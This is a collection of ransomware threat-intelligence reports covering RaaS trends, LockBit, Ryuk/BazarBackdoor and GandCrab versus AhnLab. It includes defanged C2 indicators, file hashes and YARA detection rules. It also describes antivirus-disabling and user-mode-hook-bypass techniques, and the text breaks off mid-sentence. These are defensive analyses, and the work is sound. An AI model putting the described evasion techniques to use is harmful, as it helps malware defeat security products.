government or other governments that may take disruptive or even kinetic actions against a group). The Conti group, while still quite brazen against US law enforcement agencies, has tried to learn lessons from DarkSide (responsible for the Colonial Pipeline attack) and has conspicuously avoided inflaming certain governments and industries in their attacks. LockBit 2.0 has also tried to seize on some of the missteps of REvil. Late majority RaaS operations are relinquishing control of the attack life cycle by allowing affiliates to handle the entire attack. They are also relinquishing more control over the outcome and, by extension, whether the attack actually results in revenue. It is up to the affiliate to ensure the attack is successful, that backups are compromised, and that the encryption spreads far enough to inflict meaningful damage. If they fail, the victim is better positioned to restore from secure backups. ## Further RaaS Innovation Trends to Watch - **Ceding control to affiliates**: Coveware’s data shows that only 22.6% of victims in 2020 had viable backups, but in 2021, this margin jumped to 42% of victims. This data point is influenced by multiple variables, but there has been a distinct drop in the number of cases where the threat actor was successful in rendering the backups useless. In parallel, the percentage of cases involving the threat to release data continues to climb. Threat actors are relying less on the operational disruption of encrypted backups and more on the threat of sensitive data leakage to intimidate victims into paying. - **RaaS operations like Conti and Lockbit 2.0 are ceding control over their ‘brand’** by allowing sloppy affiliates to carry out attacks without the victim’s profile being vetted. While RaaS groups may claim they don’t attack hospitals or charities, most still do. The cybersecurity community is aware of which extortion groups generally stick to their word and which are routinely problematic and unreliable. In Coveware’s examination of 2021 attacks, 78.3% of re-extortion events were attributed to RaaS actors, an increase from 66.7% in 2020. Re-extortion is a particularly nasty behavior wherein the bad actor signals to the victim that they agree to an offer, takes the money, and then informs the victim they need to pay another sum or they will get nothing. This behavior is observed far less with non-RaaS ransomware groups. - **Another damaging habit of RaaS affiliates** is their propensity to prematurely leak victim information before negotiations have completed and sometimes before they’ve even had a chance to begin. Over 90% of premature data leaks observed in 2021 were attributed to RaaS actors. More concerning is that of these disclosures where the actor responsible was part of a RaaS organization, over 60% were from Closed RaaS groups, which are historically more selective about who they allow in and should be more experienced and professional. This trend suggests that either the vetting process for Closed RaaS recruiting has started to deteriorate or that contemporary ransomware actors do not place much value on preserving their reputations as trustworthy hostage takers. These increasingly volatile behavior patterns will have a direct and lasting impact on future victims’ inclination to pay. - **There have been other small innovations** that RaaS operators are testing. Recently, security researchers reported that the FIN7 hack group was trying to recruit legitimate IT practitioners under the guise of providing commonplace penetration testing services. By creating fake cybersecurity firms to conduct attacks, Gemini believes it is an attempt to hire cheap labor rather than partnering with affiliates who demand a much larger share of any paid ransoms. - **Innovations in Affiliate Deception**: Not all innovation is for the good of the community. In September 2021, Yelisey Boguslavskiy of Advanced Intelligence reported that REvil leadership had planted a backdoor into victim TOR negotiation chats that would allow them to discreetly scam their own affiliates out of a payment without the affiliate realizing anything was amiss. REvil affiliates were entitled to 70% of each ransom, but with this trick, a REvil administrator could impersonate the victim and announce they were deciding not to pay, while simultaneously setting up a secret mirrored chat with the real victim to finish the transaction. News of this compelled the Lockbit 2.0 operations to advertise that their affiliates could control 100% of the negotiation and payment, sharing proceeds on their own terms with the developers. - **Balancing brand and law enforcement attention**: The original draw of ransomware to cyber criminals was its inherent nature of being a low risk/high return enterprise. The explosion of ransomware attacks over the past several years has been fueled by innovation to the RaaS model. While profitability has soared, the risk profile has substantially increased given the volume of law enforcement actions against RaaS groups and against infrastructure tools used by these groups. All high-profile seizures and shutdowns of ransomware gangs in 2021 and 2022 were RaaS affiliate-based groups.
# Ransomware Spotlight: LockBit ## LockBit Overview The LockBit intrusion set, tracked by Trend Micro as Water Selkie, has one of the most active ransomware operations today. With LockBit’s strong malware capabilities and affiliate program, organizations should keep abreast of its machinations to effectively spot risks and defend against attacks. LockBit first emerged as the ABCD ransomware in September 2019, which was improved to become one of the most prolific ransomware families today. Through their professional operations and strong affiliate program, LockBit operators proved that they were in it for the long haul. Thus, being acquainted with their tactics will help organizations fortify their defenses for current and future ransomware attacks. ## Key Information about LockBit LockBit uses a ransomware-as-a-service (RaaS) model and consistently conceives new ways to stay ahead of its competitors. Its double extortion methods also add more pressure to victims, raising the stakes of their campaigns. One notable tactic was the creation and use of the malware StealBit, which automates data exfiltration. This tool was seen with the release of LockBit 2.0, the latest known version, which has been touted by its creators for having the fastest and most efficient encryption among its competition. In October 2021, LockBit expanded to Linux hosts, specifically ESXi servers, in its release of Linux-ESXI Locker version 1.0. This variant is capable of targeting Linux hosts and could have a significant impact on targeted organizations. Another side of LockBit’s operations is its recruitment of and marketing to affiliates. It has been known to hire network access brokers, cooperate with other criminal groups (such as the now-defunct Maze), recruit company insiders, and sponsor underground technical writing contests to recruit talented hackers. Using such tactics, the LockBit group has built itself into one of the most professional organized criminal gangs in the criminal underground. The tactics we’ve enumerated are evident in their attack on Accenture in 2021. Experts suspect that an insider helped the group gain access to the firm’s network. LockBit also reportedly published a small part of the stolen data from the attack. ## Impact of LockBit Our investigation into the intrusion set behind LockBit, which we track as Water Selkie, reveals the effectiveness and impact of the tactics we have discussed. The key takeaways are the following: - The malware’s performance is a strong selling point. The malware’s speed and capabilities are widely known because the group uses them as selling points. The threat group’s efforts to publicize their malware’s capabilities have established it as the ransomware with one of the fastest and most efficient encryption methods. - It considers external pressures and issues faced by its potential targets. Water Selkie’s operators have indicated a preference for victims in Europe who fear breaching EU’s General Data Protection Regulation (GDPR). They continue to also consider the US to have lucrative targets, but see that data privacy laws can affect their chances of getting a successful payout. In general, they are attuned to geopolitical issues that they can use to their advantage. - Banks on the strength of its affiliate program. A contributing factor in LockBit’s success is how well it recruits trustworthy and capable affiliates. Evidence also suggests that several of its affiliates are involved in multiple RaaS operations, which helps Water Selkie innovate and keep up with its competition. In return, Water Selkie prides itself on its professional operation that can be trusted by affiliates. - It has more in store for the future. Water Selkie clearly ramped up operations in the second half of 2021. We see that the intrusion set will either maintain or increase their level of activity in the first half of 2022. Organizations should also expect more supply chain attacks in the future according to an interview conducted with one of LockBit’s operators. With LockBit affiliates being likely involved in other RaaS operations, its tactics slipping into those of other ransomware groups isn’t a far-fetched notion. Organizations would therefore benefit from recognizing LockBit’s tactics, techniques, and procedures (TTPs). ## Affected Industries and Countries LockBit has been detected all over the globe, with the US seeing most of the attack attempts from June 2021 to January 20, 2022, followed by India and Brazil. Like many ransomware families, LockBit avoids Commonwealth of Independent States (CIS) countries. We saw the most LockBit-related detections in the healthcare industry followed by the education sector. LockBit threat actors have claimed that they do not attack healthcare, educational, and charity institutions. This “contradictory code of ethics” has been noted by the US Department of Health Services (HHS) who warns the public not to rely on such statements as these tend to dissolve in the face of easy targets. Overall, we saw increased LockBit-related activity following the release of LockBit 2.0, peaking in November 2021. ## Targeted Regions and Sectors In our foray into the leak site of LockBit operators from December 16, 2021, to January 15, 2022, we observed that they had the highest number of recorded victims among active ransomware groups at 41, followed by Conti at 29. Do note, however, that LockBit has been accused of artificially inflating the number of their victims. Looking into the list of their victims, it appears that more than half of the organizations are based in North America, followed by Europe and Asia Pacific. LockBit targets organizations indiscriminately, in that their victims come from many different sectors compared to other groups. In the abovementioned time period, they have victims coming from financial, professional services, manufacturing, and construction sectors, just to name a few. The majority of LockBit’s victims have been either small or small and medium-sized businesses (SMBs) – 65.9% and 14.6% respectively, with enterprises only comprising 19.5%. In our observation of the activities within the LockBit leak site for the same time period, the majority of attacks took place during weekdays, approximately 78% of the total, while 22% happened during the weekend. ## Infection Chain and Techniques Operating as a RaaS, LockBit infection chains show a variety of tactics and tools employed, depending on the affiliates involved in the attack. Affiliates typically buy access to targets from other threat actors, who typically obtain it via phishing, exploiting vulnerable apps, or brute forcing remote desktop protocol (RDP) accounts. ### Initial Access LockBit operators mostly gain access via compromised servers or RDP accounts that are usually bought or obtained from affiliates. In some instances, it arrived via spam email or by brute forcing insecure RDP or VPN credentials. It can also arrive via exploiting Fortinet VPN’s CVE-2018-13379 vulnerability. ### Execution LockBit is usually executed via command line as it accepts parameters of file path or directories if desired to only encrypt specific paths. It may also be executed via created scheduled tasks. This is usually the case if it is propagated in other machines. There are also reports of it being executed using PowerShell Empire, a pure PowerShell post-exploitation agent. ### Credential Access Aside from using credentials obtained from affiliates, LockBit attacks were also observed using Mimikatz to further gather credentials. ### Defense Evasion Some infections were observed to have GMER, PC Hunter, and/or Process Hacker. These are tools that are usually used to disable security products. In some observed attacks, a Group Policy was created to disable Windows Defender. ### Discovery Network Scanner, Advanced Port Scanner, and AdFind were also used to enumerate connected machines in the network, probably to locate the Domain Controller or Active Directory server as these are usually the best targets for deploying ransomware with network encryption or propagation. ### Lateral Movement LockBit can self-propagate via SMB connection using obtained credentials. Some samples can self-propagate and execute via Group Policy. In some instances, PsExec or Cobalt Strike were used to move laterally within the network. ### Exfiltration Uploads stolen files via cloud storage tools like MEGA or FreeFileSync. Sometimes, the StealBit malware (also sold by the threat actors) was used instead to exfiltrate stolen files. ### Impact The ransomware payload will proceed with encryption routine upon execution. Encryption includes both local and network encryption. It encrypts files using AES and encrypts the AES key with RSA encryption. The AES Key is generated using BCryptGenRandom. For faster encryption, it only encrypts the first 4KB of a file and appends it to “.lockbit.” It will also replace the desktop wallpaper with a note that includes a statement where it tries to recruit insiders or affiliates within companies. LockBit also sends a WoL packet to ensure that network drives are active for its network encryption; this behavior was first observed on the Ryuk ransomware. LockBit also has the capability to print its ransom note using connected printers using WinSpool APIs, which is probably inspired by Egregor ransomware. ## Recommendations As mentioned earlier, we expect LockBit to continue its level of activity, if not increase it in the coming months. LockBit also demonstrates both consistent and versatile operations that adapt to current trends that affect the threat landscape. Organizations should keep abreast of the latest shifts that could influence their own security measures. To help defend systems against similar threats, organizations can establish security frameworks that can allocate resources systematically for establishing a solid defense against ransomware. Here are some best practices that can be included in these frameworks: ### Audit and Inventory - Take an inventory of assets and data. - Identify authorized and unauthorized devices and software. - Make an audit of event and incident logs. ### Configure and Monitor - Manage hardware and software configurations. - Grant admin privileges and access only when necessary to an employee’s role. - Monitor network ports, protocols, and services. - Activate security configurations on network infrastructure devices such as firewalls and routers. - Establish a software allow list that only executes legitimate applications. ### Patch and Update - Conduct regular vulnerability assessments. - Perform patching or virtual patching for operating systems and applications. - Update software and applications to their latest versions. ### Protect and Recover - Implement data protection, backup, and recovery measures. - Enable multifactor authentication (MFA). ### Secure and Defend - Employ sandbox analysis to block malicious emails. - Deploy the latest versions of security solutions to all layers of the system, including email, endpoint, web, and network. - Detect early signs of an attack such as the presence of suspicious tools in the system. - Use advanced detection technologies such as those powered by AI and machine learning. ### Train and Test - Regularly train and assess employees on security skills. - Conduct red-team exercises and penetration tests. A multilayered approach can help organizations guard the possible entry points into the system (endpoint, email, web, and network). Security solutions can detect malicious components and suspicious behavior to help protect enterprises. Trend Micro Vision One™ provides multilayered protection and behavior detection, which helps block questionable behavior and tools early on before the ransomware can do irreversible damage to the system. Trend Micro Cloud One™ Workload Security protects systems against both known and unknown threats that exploit vulnerabilities. This protection is made possible through techniques such as virtual patching and machine learning. Trend Micro™ Deep Discovery™ Email Inspector employs custom sandboxing and advanced analysis techniques to effectively block malicious emails, including phishing emails that can serve as entry points for ransomware. Trend Micro Apex One™ offers next-level automated threat detection and response against advanced concerns such as fileless threats and ransomware, ensuring the protection of endpoints. ## Indicators of Compromise (IOCs) The IOCs for this article can be found here. Actual indicators might vary per attack.
# GitHub - dlegezo/common Common custom decryption C++ libraries ## Usage sample: ```cpp #include "./malware/microcin/microcin.h" using namespace std; int main() { try { parse_microcin_config("<microcin config path here>"); parse_microcin_stegano("<microcin .bmp file here>"); return 0; } catch (runtime_error e) { cout << e.what(); return 1; } } ```
# The Ryuk Threat: Why BazarBackdoor Matters Most **Cofense** **October 30, 2020** **By The Cofense Intelligence Team** ## Ryuk Ransomware: From TrickBot to BazarBackdoor – What You Need to Know Listen in to the latest insights from the Cofense Intelligence experts on this threat and learn how you can defend your business. Yesterday, the Cofense Intelligence team released the following guidance via a flash alert to Cofense Intelligence customers. On October 28, media reports and U.S. government notifications emerged regarding an active “credible” Ryuk ransomware threat targeting the U.S. healthcare and public health sector, with plans of a coordinated attack October 29. This was reportedly based on chatter observed in an online forum that allegedly included members of the group behind Ryuk. Cofense Intelligence is conducting an ongoing investigation into this threat. While we can’t evaluate the government’s determination of this threat as credible, we are taking this very seriously and have observed increased activity against the healthcare sector. We assess with high confidence that BazarBackdoor is the primary delivery mechanism currently used for Ryuk operations. Moreover, we’ve identified that similar phishing campaigns used to establish a foothold for Ryuk infections have targeted other sectors as well. ## BazarBackdoor: Ryuk’s Inroad Cofense Intelligence assesses that Ryuk operators typically wait until their preferred delivery mechanism is successfully deployed to an intended target prior to deploying Ryuk ransomware itself. Up until TrickBot’s disruption, Ryuk was most frequently delivered via TrickBot. However, our analysis indicates that the group behind Ryuk began leveraging BazarBackdoor to establish access to target systems in September. This aligns closely with announcements that U.S. Cyber Command had taken action to disrupt TrickBot operations. In recent weeks, we assess with high confidence that BazarBackdoor has been Ryuk’s most predominant loader. With lower confidence, we assess this wave of Ryuk activity may be, in part, in retaliation for September’s TrickBot disruptions. BazarBackdoor is a stealthy malware downloader that we assess is used by the same group as TrickBot. Typically, emails designed to appear as internal business communications are sent to victims within an organization, often with relevant employee names or positions. These emails usually contain a link, most often to a Google Docs page, though other well-known file hosting platforms have also been used. The Google Docs page will then present a convincing image with another embedded link. This link is typically to a malicious executable hosted on a trusted platform such as Amazon AWS. This chain of legitimate services makes it difficult to detect and stop these campaigns. Once in place on a victim’s computer, BazarBackdoor uses specialized network communications to avoid detection and to contact its command and control (C2) locations. Part of these communications involve DNS lookups for .bazar domains, which is the reason behind its Bazar name. These C2 locations also often serve as payload locations. After BazarBackdoor contacts its C2 center, it will then collect additional information which the threat actors can use to deliver customized reconnaissance tools, such as Cobalt Strike payloads. The threat actors can also choose to deliver other payloads such as Ryuk ransomware. The deployment of Ryuk ransomware isn’t automated, and therefore won’t occur unless the threat actors decide the infected environment is a target. All of us should pay special heed to any indications of BazarBackdoor compromise. Regardless of whether recent activity is in retaliation against TrickBot’s disruption, what is clear is that recent efforts by multiple parties to cripple TrickBot seem to have been effective in transitioning the Ryuk actors to leveraging BazarBackdoor. We must be mindful that there are past connections between TrickBot activity and Emotet. While there is no direct evidence of current Emotet involvement in these campaigns, we cannot rule out future delivery of Ryuk via Emotet, given historical relationships between TrickBot and Emotet. As the TrickBot infrastructure appears to be in the process of restructuring, we assess that it may find use again as a delivery mechanism. As a network defender, all three malware families should be prioritized when searching for possible compromises, with the highest priority placed on detections of BazarBackdoor in the near future. ## Assessing the Threat As of early this morning, on October 30, there are reports of some ransomware attacks against U.S. healthcare organizations yesterday. It is possible more reports will emerge in the coming days, though initial indications suggest a healthcare sector doomsday was avoided. In recent weeks, there was an abundance of ransomware activity against the healthcare sector, and we identified an increase in BazarBackdoor targeting. It’s not for us to say whether the stated time or scope of the threat was off base, if there have been active successful countermeasures, or that the flurry of reporting has deterred some ransomware activity for now. It is possible they did/do not want to face such a well-guarded and prepared target base. Still, we are confident that Ryuk operations have recently increased, and that other sectors have come into the crosshairs of potential future Ryuk operations. It’s our assessment that the threat should be taken seriously. Cofense Intelligence customers have received relevant indicators of compromise (IOCs) and Active Threat Reports (ATRs) as these campaigns are identified and analyzed, and some of these ATRs were first sent in September. Customers can find these ATRs and IOCs in ThreatHQ and via our API, and can access the most up-to-date list of all relevant Cofense Intelligence IOCs and ATRs tied to BazarBackdoor, TrickBot, and Emotet via our API and on ThreatHQ. ## Active Threat Reports: BazarBackdoor - 71542 - 69892 - 67088 - 59926 - 56548 - 56336 - 55660 - 54647 ## BazarBackdoor File MD5 Hash - Document3-90.exe: 3826f8176445cc4291287f8aad28bb53 - Report10-9.exe: 240bf9b477fe3d977acbb2726f0f12b5 - 1.exe: b9e7cdd63db7ff765efeaabd0a85ca59 - 2.exe: d3965ca520a87fc3ad3a874bb0bf118c - AnnualReport.exe: ff9976d675cc1679b0b6e15323010dbf - AnnualReport.exe: 49c3639ad3cd29473e0bd047bcef8a64 - Document_Print.exe: 925d730ddb4304a4bde4dfaeabb5c7b9 - Document-Preview.exe: 40b17d4ca83f079cf6b2b09d7a7fd839 - t99.exe: df249304643531adb536eba89691ec91 - PreviewDoc.exe: a41429f7dbecfb76e6b7534afbeb4f74 - Preview.exe: 9f00d78f2e8e4523773a264f85be1c02 - Preview.exe: 5f64cc672ea13388797599b40a62d9be - putty.exe: 006f8bd0cd7e820705dec7bb3a7a7cf5 - XColorPickerXPTest.exe: cd6b9af8db078afe074b12a4fd0a5869 - PDOKGLWEER.exe: 135f68e708cc04e362703ad71be5f620 - v152.exe: d55ec134a3046f289d9ebfdba1e98775 ## BazarBackdoor Command - hxxps://107[.]155[.]137[.]18/api/v150 - hxxps://107[.]155[.]137[.]18/api/v152 - hxxps://164[.]132[.]76[.]76/api/v12 - hxxps://164[.]68[.]107[.]165/api/v10 - hxxps://164[.]68[.]107[.]165/api/v12 - hxxps://185[.]99[.]2[.]196/api/v12 - hxxps://194[.]5[.]249[.]156/api/v10 - hxxps://195[.]123[.]241[.]175/api/v153 - hxxps://195[.]123[.]241[.]194/api/v153 - hxxps://212[.]22[.]70[.]4/api/v12 - hxxps://31[.]214[.]240[.]203/api/v150 - hxxps://31[.]214[.]240[.]203/api/v152 - hxxps://35[.]164[.]230[.]208/link/s - hxxps://45[.]148[.]10[.]190/api/v150 - hxxps://45[.]148[.]10[.]190/api/v152 - hxxps://5[.]182[.]210[.]145/api/v10 - hxxps://5[.]182[.]210[.]145/api/v12 - hxxps://54[.]89[.]230[.]95/rest/t - hxxps://68[.]183[.]214[.]30/api/v12 - hxxps://82[.]146[.]37[.]128/api/v150 - hxxps://82[.]146[.]37[.]128/api/v152 - hxxps://82[.]146[.]37[.]128/api/v153 - hxxps://82[.]146[.]37[.]128/api/v154 - hxxps://85[.]143[.]221[.]85/api/v100 - hxxps://85[.]143[.]221[.]85/api/v150 - hxxps://85[.]143[.]221[.]85/api/v152 - hxxps://85[.]143[.]221[.]85/api/v98 - hxxps://86[.]104[.]194[.]77/api/v10 - hxxps://86[.]104[.]194[.]77/api/v12 - hxxps://bubl6g[.]com:443/api/v202 - hxxps://bubl6g[.]com:443/api/v204 - hxxps://grumhit[.]com/z/report - hxxps://onevdg[.]com/link/s ## Yara Rules for Campaign Detection **Rule 1:** ```plaintext rule PM_Intel_Ryuk_Payload_1029201 { meta: description = “EDR rule for detecting Ryuk ransomware main payload” strings: $ = “.RYK” wide nocase $ = “RyukReadMe.html” wide nocase $ = “UNIQUE_ID_DO_NOT_REMOVE” wide nocase $ = “\\users\\Public\\finish” wide nocase $ = “\\users\\Public\\sys” wide nocase $ = “\\Documents and Settings\\Default User\\finish” wide nocase $ = “\\Documents and Settings\\Default User\\sys” wide nocase condition: uint16(0) == 0x5a4d and uint32(uint32(0x3c)) == 0x00004550 and all of them } ``` **Rule 2:** ```plaintext rule crime_win64_backdoor_bazarbackdoor1 { meta: description = “Detects BazarBackdoor injected 64-bit malware” author = “@VK_Intel“ reference = “https://twitter.com/pancak3lullz/status/1252303608747565057“ tlp = “white” date = “2020-04-24” strings: $str1 = “%id%” $str2 = “%d” $start = { 48 ?? ?? ?? ?? 57 48 83 ec 30 b9 01 00 00 00 e8 ?? ?? ?? ?? 84 c0 0f ?? ?? ?? ?? ?? 40 32 ff 40 ?? ?? ?? e8 ?? ?? ?? ?? 8a d8 8b ?? ?? ?? ?? ?? 83 f9 01 0f ?? ?? ?? ?? ?? 85 c9 75 ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 85 c0 74 ?? b8 ff 00 00 00 e9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? eb ?? 40 b7 01 40 ?? ?? ?? 8a cb e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? 48 8b d8 48 ?? ?? ?? 74 ??} $server = {40 53 48 83 ec 20 48 8b d9 e8 ?? ?? ?? ?? 85 c0 75 ?? 0f ?? ?? ?? ?? ?? ?? 66 83 f8 50 74 ?? b9 bb 01 00 00 66 3b c1 74 ?? a8 01 74 ?? 48 8b cb e8 ?? ?? ?? ?? 84 c0 75 ?? 48 8b cb e8 ?? ?? ?? ?? b8 f6 ff ff ff eb ?? 33 c0 48 83 c4 20 5b c3} condition: ( uint16(0) == 0x5a4d and ( 3 of them ) ) or ( all of them ) } ``` All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks. Any observations contained in this blog regarding circumvention of endpoint protections are based on observations at a point in time based on a specific set of system configurations. Subsequent updates or different configurations may be effective at stopping these or similar threats. The Cofense® and PhishMe® names and logos, as well as any other Cofense product or service names or logos displayed on this blog are registered trademarks or trademarks of Cofense Inc.
# ASEC Report ## VOL.97 Q4 2019 ASEC (AhnLab Security Emergency-response Center) is a global security response group consisting of malware analysts and security experts. This report is published by ASEC and focuses on the most significant security threats and latest security technologies to guard against such threats. ## SECURITY TREND OF Q4 2019 ### SECURITY ISSUE **Endgame: AhnLab vs. GandCrab Ransomware** GandCrab ransomware, which is no longer active, was actively distributed for about a year from January 2018 to May 2019. GandCrab variants caused damage worldwide, including South Korea. AhnLab, a leader in cyber threat analysis, fought against GandCrab ransomware to mitigate attacks and effectively respond to the constantly changing attack methods. GandCrab ransomware shares an extraordinary history with AhnLab. Just like any other ransomware, GandCrab searches for any running or pre-installed anti-malware program before interfering with its normal execution and shutting it down. However, GandCrab was found making an extra effort. GandCrab directly targeted ‘AhnLab’ and its anti-malware program, ‘V3 Lite,’ by mentioning it in its code. GandCrab even revealed the vulnerability of AhnLab V3 and made attempts to delete the program. To effectively respond and protect against GandCrab attacks, AhnLab analyzed GandCrab and all its different versions by thoroughly investigating the distributed code, encryption method, restoration method, and evasive method used to avoid behavioral-based detection. Anytime a new attack feature targeting AhnLab and V3 was identified, the product developers promptly addressed it to ensure maximum security. The conflict between AhnLab and GandCrab ransomware was a hot topic in both the IT and security industry. However, what is known is only a tip of the iceberg. This report will provide the full story of the long and complicated battle between AhnLab and GandCrab ransomware. #### 1. The Prelude to War (GandCrab v2.x) On February 8th, 2018, AhnLab announced the active distribution of GandCrab ransomware in South Korea through its blog. Shortly after, on April 17th, AhnLab publicly released GandCrab’s Kill-Switch by analyzing how GandCrab works. The kill-switch blocked and prevented the encryption of files, thus interfering with GandCrab’s operation. This triggered the war between GandCrab and AhnLab. Three days later, profanity against AhnLab was found within the mutex name. However, the GandCrab creator did not stop here but continued to express anger towards AhnLab by changing the host address from 'google.com' to 'ahnlab.com.' The host address was used for C&C server communication and was randomly adjusted to avoid network filters. The previously announced encryption blocking method was patched, and the internal version of GandCrab v3.0.0 was updated. However, AhnLab immediately identified a new method of blocking encryption by utilizing a pop-up message and published this finding. #### 2. Adversary Revealed (GandCrab v4.1.x) By July 2018, GandCrab was being distributed by various methods including drive-by-download methods, email, executable files, or fileless, based malware. There was even a case when a malicious script named ‘ahnlab.txt’ was distributed during a fileless attack exploiting PowerShell. While AhnLab was dealing with GandCrab in South-East Asia, Fortinet was also analyzing and responding to GandCrab in real-time halfway across the globe. On July 9th, Fortinet released an encryption blocking method that stops encryption if there is a ‘<8hex-chars>.lock’ file of a certain logic. Based on the information, AhnLab confirmed that the new method was valid for the latest version, v4.1.1, as well. On July 13th, AhnLab made an executable file tool and distributed it to the public. The GandCrab creator retaliated immediately. They included a sarcastic text within v4.1.2 towards both Fortinet and AhnLab by stating that the ‘.lock’ file isn’t the only blocking method. It then quickly responded by changing the file generation logic for the ‘.lock’ file. However, AhnLab figured out the logic of v4.1.2 and updated it in their tool as well as for v4.1.3. While the kill-switch mentioned both AhnLab and Fortinet, the slightly modified internal version of v4.1.2 only included the “ahnlab” string. It also included a specific URL address, which contained profanity against AhnLab in Russian. #### 3. GandCrab Strikes Back In August, the creator of GandCrab officially began to strike back. Through an exclusive interview with BleepingComputer, the creator sent the exploit source and declared the revealment of V3 Lite's zero-day vulnerability. The creator claimed that this was revenge for the released Kill-Switch. The creator of GandCrab went on explaining that the Kill-Switch is no longer effective in the latest versions. Then, the internal version of GandCrab v4.2.1 revealed the attack pattern code for V3 Lite products, stating that AhnLab and GandCrab were finally even. The alleged attack code could trigger a BSOD if V3 Lite was installed in the system and was executed after encryption. AhnLab released an urgent patch immediately following the exploit, thus preventing any impact from the exploit. #### 4. GandCrab’s Full-on Attack Since then, the creator of GandCrab has made continuous efforts to uninstall the V3 program through its scripts, and those attempts became more sophisticated as time passed. The first method used by GandCrab to uninstall V3 was by inducing user-interaction. Within the distributed script, the creator included a code to specifically drop and run the JS file, which deletes V3 service upon detection. Within that 60-second period, if the user clicks the ‘remove button’ it allows the system to run the notorious GandCrab Ransomware. This method required user interaction, which meant that the deletion of the program could not be done in the background without the user knowing it. This critical limit led the GandCrab creator to update its code in September 2018, to allow the deletion of the V3 program without letting the user know. The upgraded method allowed the V3 uninstallation screen to be hidden from the user's sight while also automating the click-button process to run GandCrab ransomware. AhnLab made continuous updates to its anti-malware program, and GandCrab followed along. It distributed GandCrab v5.0.2 that incorporated uninstallation using the existing Uninst.exe, in addition to the AhnUn000.tmp –UC method. In its later versions, GandCrab v5.0.3 only used AhnUn000.tmp –UC to execute the deletion of the program instead of using Uninst.exe, and in v5.0.4, the main agent for the program deletion had changed to cscript.exe. AhnLab continued to update its product in response to GandCrab’s weekly update through its script. On November 6th, AhnLab added CAPTCHA to the V3 Lite uninstall program to prevent automated deletion. As a result, GandCrab was unable to delete V3 after the application of CAPTCHA and removed the uninstall function from its distributed script. #### 5. Endgame, the Last Battle While GandCrab distributed before December 2018 attempted to delete V3 in various ways, GandCrab v5.0.4 discovered in January 2019 focused on terminating V3’s operation instead of merely uninstalling it. Before moving onto the next step, GandCrab checks and uses the sleep function to wait 15 minutes to check if V3 Lite is running. As the first step, an execution file (help22.exe) is dropped to stop the service. The dropped file locates V3 Lite, and then duplicates Uninst.exe, the V3 uninstall program, to %UserProfile%\help.exe. The duplicated help.exe file then executes ASDCli.exe and stops the command to disable V3 Lite. AhnLab immediately responded with critical security patches to respond to GandCrab's update of uninstalling and disabling the V3 program. AhnLab deleted ASDCli.exe and prevented the stop command from being executed. AhnLab also upgraded the product by requiring an additional string, other than /Uninstall, to remove the product. The long and complicated battle between GandCrab and AhnLab seemed to have settled down. However, the battle was far from the end. GandCrab’s creator continued to insult AhnLab by adding an insulting text towards AhnLab in GandCrab v5.2. Distributed in February 2019, GandCrab v5.2 incorporated a time-delay technique to disturb the dynamic analysis. GandCrab v5.2 included “AnaLab_sucks” text string within the Window procedure class name that enables the SetTimer function. ‘AnaLab’ can be assumed as a typo for AhnLab. Nonetheless, the creator of GandCrab consistently mentioned ‘V3 Lite’ and ‘AhnLab’ directly within their distributed strings. GandCrab v5.2, distributed a month later in March 2019, no longer had the above-mentioned text. Instead, a text insulting Bitdefender was included in the mutex. However, it was too soon to assume that the long battle between AhnLab and GandCrab ransomware had ended. After AhnLab had responded to GandCrab's plot of disabling V3 in January 2019, GandCrab v5.2 added an evasive function in April to bypass V3's detection. Unlike the previous attempts to disable V3 Lite, the new feature injected the malware into AhnLab's anti-malware update program to perform malicious activities. As the famous quote, “everything in life has an end,” what seemed like a never-ending battle between GandCrab and AhnLab came to an abrupt end when GandCrab’s creator announced the end of its operation on May 31st, 2019. GandCrab’s creator claimed that it made more than enough through its operation. No new variants were released ever since, and GandCrab v5.3 is GandCrab’s last released version. ## Conclusion The battle between GandCrab and AhnLab lasted for 478 days, starting from February 8th, 2018 – when AhnLab first mentioned GandCrab Ransomware via its blog, to May 31st, 2019 – when the creator of GandCrab Ransomware officially announced the shutdown of its operation. GandCrab and AhnLab’s battle highlights one of the most crucial facts: the importance of collaboration between security vendors and organizations to fight against advanced threats, such as GandCrab RaaS (Ransomware-as-a-Service). It is also vital for security vendors to continuously monitor threats and be resilient. Advanced attacks cannot prevail if vulnerabilities are promptly addressed and appropriate updates are made. AhnLab’s prompt actions exemplified this. AhnLab will continue to monitor security threats in real-time via its threat analysis and anti-malware program. In continuous efforts to build a strong alliance with other vendors and organizations, it will provide Threat Intelligence (TI) through various channels. Although GandCrab’s operation along with its long battle against AhnLab has ended, the cyber-battle will never end. ## ANALYSIS-IN-DEPTH **User-Mode Hooking Bypass Techniques** Behavioral-based engines, within a sandbox or anti-malware, determine and detect malicious attempts based on the behavior of the malware. User-mode hooking technique is one of the most prominent techniques used to detect malware behavior. This technique consists of injecting a DLL file to monitor the behavior of the malware when it is executed and then hooking the key API functions required to perform the malicious activities. Thus, when the malware calls specific key APIs, the monitoring DLL file keeps a log of the APIs used to determine the behavior of the malware. The DLL file can detect malicious activities according to the predefined rules set by the analyst. The user-mode hooking technique commonly targets the Native APIs provided by ntdll.dll. It is because most malware uses resources related to process, memory, or file input. In doing so, most APIs must call the system call via ntdll.dll. However, as the number of security solutions utilizing the user-mode hooking technique increases, techniques to bypass the security products also increase. The most well-known techniques used to bypass the user-mode hooking are as follows: checking if the ntdll file is hooked, reloading the ntdll file, and directly calling the system call. ### 1. NTDLL Analysis Technique - **Malware Sample:** Parasite HT TP (MD5: 6cd0020727088daeecd462b2d844d536) Parasite HT TP was first introduced in July 2018. It started by analyzing whether or not the currently loaded ntdll.dll has been hooked. The malware first loads the ntdll.dll, located in the system folder, to the memory and relocates it according to the process. The malware then compares the API's starting byte of the original ntdll file within the current process to the API's starting five bytes of the ntdll file, which was directly loaded and relocated. If the ntdll file of the current process was hooked, the starting five bytes would have been changed to a branch statement, and therefore, the API’s starting five bytes of the two does not match. If the two does not match, the malware restores the five bytes’ value from the original ntdll API's starting five bytes. ### 2. NTDLL Reloading Technique This technique involves reloading the ntdll file from the memory within the process. The malware then uses the API of the newly loaded ntdll file. Since reloading the same 